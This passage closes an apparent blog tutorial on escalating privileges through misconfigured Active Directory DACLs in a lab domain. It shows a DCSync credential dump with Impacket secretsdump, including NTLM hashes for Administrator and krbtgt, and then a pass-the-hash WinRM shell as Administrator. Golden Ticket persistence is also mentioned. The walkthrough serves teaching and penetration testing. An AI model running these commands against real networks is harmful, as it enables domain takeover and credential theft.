from the Impacket suite. Simply provide the credentials of the user with DCSync
privileges—in this case, elswix
.
elswix@ubuntu$ secretsdump.py elswixcorp.local/elswix@192.168.100.3 -hashes :07d128430a6338f8d537f6b3ae1dc136
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31b9194cc900c70446cf5c771689b951:::
elswixcorp.local\karl:1103:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
elswixcorp.local\elswix:1107:aad3b435b51404eeaad3b435b51404ee:07d128430a6338f8d537f6b3ae1dc136:::
elswixcorp.local\claire:1111:aad3b435b51404eeaad3b435b51404ee:40fac013f33b053e878ca653ccd60033:::
...[snip]...
[*] Cleaning up...
As observed, the output is quite extensive. However, the key takeaway is that we successfully retrieved the Administrator
's NT hash.
Now, with this credential, we can gain access to the system using various techniques, such as psexec
. In this case, I'll leverage WinRM
, which is exposed, allowing us to authenticate as Administrator
and gain remote access.
elswix@ubuntu$ evil-winrm -i 192.168.100.3 -u administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
elswixcorp\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
You could also leverage the krbtgt
account keys to craft a Golden Ticket, granting persistent access to the domain. I’ve already covered this technique in previous articles, but it’s another powerful way to maintain control over the environment.
Conclusion
In this article, we explored how insecure Discretionary Access Control Lists (DACLs) can be leveraged to escalate privileges within an Active Directory environment. Starting from a low-privileged account, we systematically abused misconfigured permissions—such as WriteSPN
, WriteOwner
, and GenericAll
—to manipulate accounts, retrieve credentials, and ultimately compromise the Domain Controller.
I highly recommend reading my previous articles if you haven’t done so already. These articles cover important concepts that will help enrich your understanding of this one. Additionally, I explore other fascinating techniques that you might find useful.
In upcoming articles, we'll be discussing other exploitation scenarios related to misconfigurated ACLs and introduce some new interesting active directory topics.
Happy Hacking!
Joaquín (AKA elswix)
References
https://www.thehacker.recipes/ad/movement/dacl/
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/acl-persistence-abuse/index.html
https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html
https://support.bloodhoundenterprise.io/hc/en-us/articles/17312606850203-GenericWrite